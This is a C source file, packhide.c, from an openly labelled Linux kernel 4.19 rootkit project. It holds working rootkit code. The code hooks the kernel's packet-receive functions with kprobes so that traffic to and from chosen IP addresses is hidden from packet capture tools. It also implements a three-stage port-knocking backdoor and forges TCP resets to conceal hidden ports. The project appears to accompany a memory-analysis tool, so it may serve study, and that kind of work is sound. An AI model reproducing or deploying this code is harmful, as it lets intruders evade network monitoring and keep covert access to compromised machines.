linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

packhide.c (8045B)


      1 #include <linux/kernel.h>
      2 #include <linux/kprobes.h>
      3 #include <linux/skbuff.h>
      4 #include <linux/netdevice.h>
      5 #include <linux/inet.h>
      6 #include <uapi/linux/if_packet.h>
      7 #include <uapi/linux/ip.h>
      8 #include <uapi/linux/ipv6.h>
      9 #include <linux/ip.h>
     10 #include <linux/in.h>
     11 #include <linux/ipv6.h>
     12 
     13 #include "rootkit.h"
     14 #include "hook.h"
     15 #include "packhide.h"
     16 #include "porthide.h"
     17 
     18 extern rootkit_t rootkit;
     19 
     20 ip_list_t hidden_ips = {
     21     .ip  = { 0 },
     22     .version = -1,
     23     .prev = NULL,
     24     .next = NULL,
     25 };
     26 
     27 ip_list_t_ptr hidden_ips_tail = &hidden_ips;
     28 
     29 static int g7_packet_rcv(struct kprobe *, struct pt_regs *);
     30 static int g7_fault(struct kprobe *, struct pt_regs *, int);
     31 static void g7_post(struct kprobe *, struct pt_regs *m, unsigned long);
     32 
     33 // TODO store in array of kprobes
     34 static struct kprobe p_rcv = {
     35     .symbol_name = "packet_rcv",
     36 };
     37 
     38 static struct kprobe tp_rcv = {
     39     .symbol_name = "tpacket_rcv",
     40 };
     41 
     42 static struct kprobe p_rcv_spkt = {
     43     .symbol_name = "packet_rcv_spkt",
     44 };
     45 
     46 void
     47 hide_packets(void)
     48 {
     49     if (atomic_inc_return(&packet_rcv_install_count) == 1) {
     50         p_rcv.pre_handler = g7_packet_rcv;
     51         p_rcv.post_handler = g7_post;
     52         p_rcv.fault_handler = g7_fault;
     53 
     54         tp_rcv.pre_handler = g7_packet_rcv;
     55         tp_rcv.post_handler = g7_post;
     56         tp_rcv.fault_handler = g7_fault;
     57 
     58         p_rcv_spkt.pre_handler = g7_packet_rcv;
     59         p_rcv_spkt.post_handler = g7_post;
     60         p_rcv_spkt.fault_handler = g7_fault;
     61 
     62         if (register_kprobe(&p_rcv))
     63             DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n");
     64 
     65         if (register_kprobe(&tp_rcv))
     66             DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n");
     67 
     68         if (register_kprobe(&p_rcv_spkt))
     69             DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n");
     70     }
     71 }
     72 
     73 void
     74 unhide_packets(void)
     75 {
     76     if (atomic_dec_return(&packet_rcv_install_count) < 1) {
     77         unregister_kprobe(&p_rcv);
     78         unregister_kprobe(&tp_rcv);
     79         unregister_kprobe(&p_rcv_spkt);
     80     }
     81 }
     82 
     83 void
     84 hide_ip(const char *ip)
     85 {
     86     u8 ipv4[16];
     87     u8 ipv6[16];
     88 
     89     if (strstr(ip, ".") && in4_pton(ip, -1, ipv4, -1, NULL)) {
     90         if (!list_contains_ip(&hidden_ips, ipv4, v4)) {
     91             memcpy(ipv4 + 4, (ip_t){ 0 }, 12);
     92             add_ip_to_list(hidden_ips_tail, ipv4, v4);
     93         }
     94     } else if (strstr(ip, ":") && in6_pton(ip, -1, ipv6, -1, NULL)) {
     95         if (!list_contains_ip(&hidden_ips, ipv6, v6))
     96             add_ip_to_list(hidden_ips_tail, ipv6, v6);
     97     }
     98 }
     99 
    100 void
    101 unhide_ip(const char *ip)
    102 {
    103     u8 ipv4[16];
    104     u8 ipv6[16];
    105 
    106     if (strstr(ip, ".") && in4_pton(ip, -1, ipv4, -1, NULL)) {
    107         memcpy(ipv4 + 4, (ip_t){ 0 }, 12);
    108         remove_ip_from_list(&hidden_ips, ipv4, v4);
    109     } else if (strstr(ip, ":") && in6_pton(ip, -1, ipv6, -1, NULL)) {
    110         remove_ip_from_list(&hidden_ips, ipv6, v6);
    111     }
    112 }
    113 
    114 static int
    115 g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
    116 {
    117     struct sk_buff *skb;
    118     skb = (struct sk_buff *)pt_regs->di;
    119 
    120     u8 protocol;
    121     u8 ip[16] = { 0 };
    122     ip_version version;
    123 
    124     char *data = skb_network_header(skb);
    125     char ver = data[0];
    126 
    127     ver &= 0xf0;
    128 
    129     struct sk_buff *clone = skb_clone(skb, GFP_KERNEL);
    130     pt_regs->di = (long unsigned int)clone;
    131 
    132     if (ver == 0x60) {
    133         struct ipv6hdr *iphdr;
    134 
    135         iphdr = ipv6_hdr(clone);
    136         protocol = iphdr->nexthdr;
    137         version = v6;
    138         memcpy(ip, (u8 *)&iphdr->daddr, 16);
    139 
    140         if (rootkit.hiding_packets) {
    141             if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v6)
    142                 || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v6))
    143                     clone->pkt_type = PACKET_LOOPBACK;
    144         }
    145     } else if (ver == 0x40) {
    146         struct iphdr *iphdr;
    147 
    148         iphdr = ip_hdr(clone);
    149         protocol = iphdr->protocol;
    150         version = v4;
    151         memcpy(ip, (u8 *)&iphdr->daddr, 4);
    152 
    153         if (rootkit.hiding_packets) {
    154             if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v4)
    155                 || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v4))
    156                 clone->pkt_type = PACKET_LOOPBACK;
    157         }
    158     } else
    159         return 0;
    160 
    161     if (rootkit.hiding_sockets) {
    162         // We need to intercept (RST) the TCP handshake
    163         if (protocol == IPPROTO_TCP) {
    164             struct tcphdr *tcphdr;
    165 
    166             tcphdr = (struct tcphdr *)skb_transport_header(skb);
    167             unsigned src_port = (unsigned)ntohs(tcphdr->source);
    168 
    169             if (list_contains_knock(&ips_stage3, ip, version))
    170                 return 0;
    171 
    172             if (tcphdr->syn || !tcphdr->ack)
    173                 goto check_port;
    174 
    175             if (list_contains_knock(&ips_stage2, ip, version)) {
    176                 if (stage3_knock(src_port)) {
    177                     DEBUG_NOTICE("[g7] knocked port %d, port knocking sequence completed\n", src_port);
    178                     add_knock_to_list(&ips_stage3_tail, ip, version);
    179                 } else
    180                     DEBUG_NOTICE("[g7] failed entering knock stage 3, incorrect port knocked (%d)"
    181                         " - resetting knock progress\n", src_port);
    182 
    183                 remove_knock_from_list(&ips_stage2, &ips_stage2_tail, ip, version);
    184             } else if (list_contains_knock(&ips_stage1, ip, version)) {
    185                 if (stage2_knock(src_port)) {
    186                     add_knock_to_list(&ips_stage2_tail, ip, version);
    187                     DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 2\n", src_port);
    188                 } else
    189                     DEBUG_NOTICE("[g7] failed entering knock stage 2, incorrect port knocked (%d)"
    190                         " - resetting knock progress\n", src_port);
    191 
    192                 remove_knock_from_list(&ips_stage1, &ips_stage1_tail, ip, version);
    193             } else {
    194                 if (stage1_knock(src_port)) {
    195                     DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 1\n", src_port);
    196                     add_knock_to_list(&ips_stage1_tail, ip, version);
    197                 }
    198             }
    199 
    200 check_port:
    201             if (list_contains_lport(&hidden_lports, src_port))
    202                 if (tcphdr->syn) {
    203                     DEBUG_NOTICE("[g7] blocked handshake request on port %d\n", src_port);
    204                     tcphdr->syn = 0;
    205                     tcphdr->ack = 0;
    206                     tcphdr->rst = 1;
    207                 }
    208         }
    209     }
    210 
    211     return 0;
    212 }
    213 
    214 static void
    215 g7_post(struct kprobe *kp, struct pt_regs *pt_regs, unsigned long flags)
    216 {
    217     return;
    218 }
    219 
    220 static int
    221 g7_fault(struct kprobe *kp, struct pt_regs *pt_regs, int trapnr)
    222 {
    223     return 0;
    224 }
    225 
    226 void
    227 clear_hidden_ips(void)
    228 {
    229     ip_list_t_ptr i = hidden_ips_tail;
    230     while ((i = remove_ip_from_list(i, i->ip, i->version)));
    231 }
    232 
    233 bool
    234 list_contains_ip(ip_list_t_ptr list, ip_t ip, ip_version version)
    235 {
    236     return !!find_ip_in_list(list, ip, version);
    237 }
    238 
    239 ip_list_t_ptr
    240 find_ip_in_list(ip_list_t_ptr head, ip_t ip, ip_version version)
    241 {
    242     ip_list_t_ptr i;
    243     for (i = head; i; i = i->next)
    244         if (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && (version == -1 || i->version == version))
    245             return i;
    246 
    247     return NULL;
    248 }
    249 
    250 ip_list_t_ptr
    251 add_ip_to_list(ip_list_t_ptr tail, ip_t ip, ip_version version)
    252 {
    253     ip_list_t_ptr node;
    254     node = (ip_list_t_ptr)kmalloc(sizeof(ip_list_t), GFP_KERNEL);
    255 
    256     if (node) {
    257         memcpy(node->ip, ip, (version == v4 ? 4 : 16));
    258         node->version = version;
    259         node->next = NULL;
    260         node->prev = tail;
    261         tail->next = node;
    262         hidden_ips_tail = node;
    263         return node;
    264     }
    265 
    266     return NULL;
    267 }
    268 
    269 ip_list_t_ptr
    270 remove_ip_from_list(ip_list_t_ptr list, ip_t ip, ip_version version)
    271 {
    272     ip_list_t_ptr i = find_ip_in_list(list, ip, version), ret = NULL;
    273 
    274     if (i && (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && i->version != -1)) {
    275         if (i->next)
    276             i->next->prev = i->prev;
    277         else
    278             hidden_ips_tail = i->prev ? i->prev : &hidden_ips;
    279 
    280         if (i->prev) {
    281             i->prev->next = i->next;
    282             ret = i->prev;
    283         }
    284 
    285         kfree(i);
    286     }
    287 
    288     return ret;
    289 }